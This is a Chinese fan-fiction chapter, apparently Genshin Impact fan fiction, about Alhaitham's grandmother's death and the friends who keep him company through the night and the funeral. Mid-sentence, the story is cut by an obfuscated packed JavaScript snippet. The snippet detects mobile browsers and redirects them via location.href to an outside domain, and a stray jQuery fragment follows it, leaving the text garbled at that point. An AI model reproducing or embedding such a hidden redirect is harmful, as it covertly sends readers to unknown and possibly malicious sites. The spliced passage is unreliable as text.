每个人都在稳步前进。
时间不等人，自顾自地流逝，不会因为某些人的懊悔而逆流，也不会等待踟蹰不前的人。
同时，也会带走一些人，因为他们在时间的洪流中已经呆了足够的时间。
当天夜晚。
提纳里从实验室赶回家，清洗自己一身的疲惫，带着艾赛亚认了会字。
一切如常。
然而一直到要开始入睡准备的时候，忽然听到门口传来不间断的叩门声。
此时依旧是深夜时分。
今晚到明天上午，是教令院六学派的贤者选举进行的时间。
为保证公平公正，参与投票的学者们需要在教令院过夜，不得中途归来，也不得与外界联系。
塞琳娜和提卡姆自然也是把艾赛亚交给他就赶去投票了，应当是不回来过夜的。
他疑惑地过去打开门，而艾赛亚把睡前要喝的奶瓶也一把扔开，光脚丫子跟着跑到房门前。
门打开。
...居然是艾尔海森。
他不打招呼自行前来的次数太多，但以如今这样衣着凌乱，灰绿发丝微微翘起，耳机都没带上，如此狼狈模样出现在门前的情况，却是从来没见过的。
艾尔海森的眼眸似乎依旧平静，却径直说出了令人惊诧的消息。
“祖母过世了，”他说，“她生前希望我和朋友一起操办后事，所以。”
提纳里：“.......”
提纳里：“现在就来，等我一下。”
只是片刻的愣怔，他立刻反应过来。
先把艾赛亚推到艾尔海森身边，让他稍微照看着，然后便马不停蹄地冲刺到书桌边上，将或许会用到的文件和艾赛亚的药全部扫进外出用的袋子里。
艾尔海森直接把艾赛亚抱起来，在门口的衣帽架子上找了找，翻出提纳里和艾赛亚两人的外衣，一并在手上挽着了。
明明发生了这样的事情，他却仍然能冷静地把朋友的外衣拿上，表情也一切如旧。
这时候旁观者大概都会觉得，艾尔海森不愧是这样成熟的小大人。
难道他真的对祖母的离世毫无动容？
...怎么可能呢。
艾赛亚被他抱起来的一瞬，就似乎嗅到了隐隐的悲伤，这种熟悉的感觉，他同样在强装镇定的卡维身上看到过。
但卡维是无法接受的压抑自我，艾尔海森却是已然接纳的无奈。
艾赛亚把头靠在艾尔海森肩膀上，感受到艾尔海森脸上残存的凌冽。
是顶着冷风前来的结果。
现在还是春季，深夜偶尔会刮冬日般的阴风，寒冷刺骨，又没有什么车辆在夜晚营业，艾尔海森大抵是跑过来的。
跑过来的路上，他在想什么呢？
艾赛亚努力用自己的手，帮他暖暖冰冷的脸。
艾尔海森知道他举止的意图，没有拒绝，安静站在原地，睫毛扫了扫艾赛亚的手心。
忽然间，艾赛亚想起还有件东西要一并带走。
他从艾尔海森怀里跳下来，跑进自己的小房间，拉开抽屉，摸出那个珍藏好的小木盒。
艾尔海森跟着走进来，低头一看。
发现木盒里是祖母曾经在第一次集会上，送给艾赛亚的那个手环。
这个手环其实算不上太昂贵，也没有什么特殊功能，甚至因为款式太大，艾赛亚直到现在都没法好好戴在手上。
但它却传递了老人家一番温热的心意，带着些许同情和移情，象征着祖辈对子孙的关照，更有着艾尔海森家的一些经历浓缩。
提纳里不知何时也走进来。
他把手上的一打袋子放在地上，半蹲下来，找到一根早就准备好的银链子，穿过手环，戴在艾赛亚的脖子上。
“是该带去的。”提纳里帮艾赛亚整理衣领，轻叹着道，“好，出发吧。”
就像当初去艾尔海森家里陪伴卡维时一样，艾尔海森把他们的袋子提上，提纳里抱着艾赛亚，匆匆往艾尔海森家里赶去。
刚出时天气只是阴森，走到一半，居然下起小雨了。
他们举起伞，顶着雨往家里赶去。
到家以后，不多时，陆续收到邮件的卡维和赛诺也赶到家中。
居勒什自然也是去参与选举了，他甚至不是投票的那方，而是选举的热门选手。
卡维的母亲法拉娜并非教令院的学者，而是自营业的建筑设计师，并不需要去开会。
但卡维父亲的死仍然让她总是昏昏沉沉，已经在医院住了好些天，如今也在接受治疗。
有医院的照料，法拉娜不需要卡维的照顾，反而让卡维过来帮忙。
“当初也是阿姨帮了我们，你也去帮忙吧。”
片刻后，法拉娜又撑起笑容，“等等妈妈，不要担心，再让我休息几天，会恢复到原本的模样的……卡维，这段时间对不起你。”
卡维眼眶一酸：“不要说这种话。”
哪怕上次承的情不还，他和艾尔海森也是朋友关系，也是一定会来的。
就这么机缘巧合下，正好只有艾尔海森的朋友们来到家中，一并处理祖母的后事。
意外契合了祖母的要求。
事实上，就算没有人帮忙，艾尔海森大概也能独自处理好祖母的后事。
祖母身体并不好，年事已高，早就预料到自己会有离去的时候，已经为自己死后做足了安排，教导了艾尔海森应该如何做。
艾尔海森也早已做好独自一人处理后事的准备。
“可是谁能想到，这几个月下来，你居然有了很多很好的朋友呢。”祖母说，“你在朋友里是这么的幸福....所以如果我出事了，你也不要一个人撑着，让他们一起来吧。”
“人多热闹，不至于冷冰冰的一个家。”
刚开始听到这番话时，并没有太多感想。
艾尔海森自认为是没必要这么做的，他既然能够处理好，何必去在这种私事上麻烦别人。
但夜半发现祖母情况不对，请的医师来了又走，留下一纸死亡证明的时候，他才忽然觉得心底空落落的。
祖母的宅子不算大，当初接来一群老小，便只能凑合着睡，很是拥挤。
可现在没有了祖母的絮叨，却无端觉得房屋有些陌生，甚至于感觉寂寞。
心头压着块大石。
按照之前就准备好的计划，将友人们叫过来，才又觉得房屋有了些人气。
身体冰冷，才发现他忘记把夹着风霜的大衣放下来了。
赛诺已然先一步把壁炉燃起来，提纳里和卡维凑在一起，检查接下来的各类安排，是否有缺漏的材料。
艾尔海森把湿透的手套摘下，将大衣挂在衣帽架，盯着它们不断掉落的水花，心思又不自觉飘远。
...正如祖母预料，她是因为身体素质不好，外加年龄太大，自然地死去的。
传言说，这种死法的老人会有预感，祖母似乎也是如此。
在医生还在焦头烂额思索的时候，她就已经给自己下好了死亡判决，颤巍巍拉着艾尔海森的手，最后一次叮嘱他。
祖母祝愿他，愿他这般的天才不会孤独前行，不要被虚荣蒙蔽，用最大的智慧分辨选择你的道路。*
这些话她平时也常常念叨，这时却又慢慢地把这些话整合再一起。
再一次、最后一次地祝福她的孙子。
他们都以为做足了对死亡的准备，就可以平静地面对这一切。
他们都知道死亡并不可怕，这只是必经的人生道路。
但人哪有这么简单地就接受这一切。
临到头来，祖母那样沉稳的性子，也会捉着他的手，浑身颤抖，也要多看看她最后的孩子。
临死之时，祖母已经对自己的力量没有感知，只是用她最大的力气抓紧艾尔海森。
艾尔海森却一点点感受对方苍老的双手，渐渐将自己松开的过程。
这是一种很难简单言语的经历......他就在那么简短的时间里，感受到祖母生命的流逝，明白祖母正在和自己渐行渐远。
父母离世时他尚不知事，祖母离世时他又准备充足。
然而并无区别。
无论是否了解死亡，又是否做好准备，结局都只有一个，那就是俩人将要生死分隔。
留下来的人除了接受事实，并不能做到太多。
脱下手套以后，手仍旧湿漉漉的。
艾赛亚小跑过来，把他拉到壁炉前的沙发上，然后认真地帮他擦手擦脸。
只是发呆的间隙，其余三人已经把后续安排好了。
祖母确实留下了很详尽的计划。
只需要一会的功夫，不论是联络埋葬中心，还是财产处理，又或者是明天要准备的各类材料，都已经处理完毕。
甚至卡维刚处理过父亲的相关事宜，因此帮起忙来更是得心应手。
既然剩下没有什么事情，那也就都陆陆续续在沙发上围坐起来。
暖烘烘的炉火照亮每个人的眼睛。
外面风雨交加，里面却有友人们的呼吸声和壁炉燃烧的脆声。
艾赛亚接了提纳里给的任务，趴在艾尔海森膝盖上，认认真真帮忙暖手。
当然方式很古早，那就是他先把手烘暖，在把手挤到艾尔海森的双手中间。
小孩做这种事情，当然不是真的指望他帮忙暖手，而是单纯给他找点事情做。
艾尔海森虽然有点生人勿近的架势，但和艾赛亚已经很熟，便也随艾赛亚去了。
“......”
几个人都没怎么说话。
按理来说，他们大概是要围绕艾尔海森进行安慰的，因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091205|177683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他今天失去了最亲密的亲人，以及最爱他的祖母。
但是，熟知艾尔海森性格的人又知道，对方并不需要这样的关心。
他并非不知事的孩子，祖母的离世也谈不上意外，肤浅的安慰并没有用。
那该做什么呢？
其实，就这样围坐着就很好了。
作为知论派的天才，艾尔海森太明白语言的价值——但也正因如此，他同样明白语言无法传达的沉默的价值。
他在尝试更加平静地接受祖母的离世，因此并不需要其他人的提醒。
祖母的离世，就像是冬天一场注定到来的大雪。
即便知道雪有多厚，又是几点来的，在雪落下的那一刻，仍然会感受到刻骨的凉意。
卡维的母亲畏惧家里的一切，艾尔海森也同样被家里熟悉又陌生的一切包围着。
因为祖母的死，这些物件都被赋予新的含义，然而却又无法离开与祖母相关的回忆，于是心里又容易不平静。
只有和友人在一起，才会有自然而然的，为了雪融后前进的力量，才能带他离开这片雪地。
他需要的是明天。
炉火边，提纳里在问卡维关于对方上课的事情，交谈声清浅，却让他又很快陷入下一段回忆里。
在那场茶会之前，他放弃了提前入学教令院，和几乎所有同龄人都谈不上来话，最终整日沉浸在祖母的书库里。
祖母的书库有数不清的纸质书，他喜欢阅读这类常人视为麻烦的工作，孜孜不倦地沉浸于自己的世界。
祖母知道天才总是孤单，可她身为祖母，却偶尔也会想，会不会有更好的方法呢？
转折在那场茶会。
在茶会后那数次由好奇心、巧合组合在一起的探究后，他意外拥有了需要密切关注的学生，三个同样天才的友人，以及更多大人的包容。
一个人是无法完整观测世界的，窥探与他完全不同的天才、庸才又或者是世界上任何一个拥有不同视角的普通人，都能充实他脑内的知识库。
书库不再是他最喜爱的去处。
有时候，到其他人的家里，晒着暖融融的太阳，屏蔽周围的吵闹，又偶尔插话一句，慢慢地看完一整本书....也很好。
“我真高兴。”
一天下午，他准备出去的时候，祖母忽然和他说道。
艾尔海森停下脚步：“什么？”
“我说我真高兴。”
祖母坐在她那张毛绒躺椅上，慈爱地看着他，声音和缓。
“我知道天才总是孤独的，我也知道总有人沉浸于自己的世界里，那也是一种人最好的生活方式，你的父亲一开始也是那样，他也非常聪明，总是喜欢一个人形单影只。”
“可是...可是他遇到你的母亲，遇到了那群朋友，他就变了...作为母亲，我能看出来，他更幸福了。”
祖母总是在想，艾尔海森究竟是那种享受孤独的天才，还是只是没找到更舒服的外界容身之处呢？
现在她有结论了——这二者并不冲突。
艾尔海森可以享受孤独，却也可以和更多人呆在一起，享受热热闹闹的感觉，何必要单纯对天才的生活方式下定义呢！
“无论如何。”祖母说。
正如她握着自己的手，说出的最后一句话。
“我希望你过得好。”
“嘀嗒。”
他睁开眼睛，听见卡维说：“外面雨停了。”
“我猜想过，这雨不会下很久的。”赛诺摇头。
“太晚了，倒也懒得走动，”提纳里说，“今晚收留我们住一晚吧，艾尔海森。”
艾赛亚被哥哥拍了一下暗示，立刻拽着艾尔海森的手摇晃起来，开始祈求。
虚空终端响起来，各个家庭的大人们抓紧空隙，给他发来关怀的邮件。
艾尔海森无声地笑了一下。
他反抓住艾赛亚的手，无情地说：“用六种语言把‘拜托’说一遍，我就同意他们留下来。”
艾赛亚：？
明明没上幼儿园，却得绞劲脑汁地试图回答难题。
一旁还有人捣乱。赛诺一边说“想不出来也没关系”，一边又说“睡地板就不担心掉下床了”。
卡维偷偷侧身，试图用口型给艾赛亚作弊，艾赛亚努力读却读不出来，差点把口水喷出来。
一旁的提纳里早就去占用了厨房，打算热一下艾赛亚的奶瓶，免得一会艾赛亚真被逗哭了还嘴巴渴。
这样一直到葬礼举办时，艾尔海森也就更坦然了。
他看着祖母认识的人一个个前来告别，艾赛亚松开父母的手，举着脖子上的小手环，结结巴巴地说着自己想说的话。
...轮到他了。
他向祖母承诺，会做到遗愿里的祝福。
会过得很好。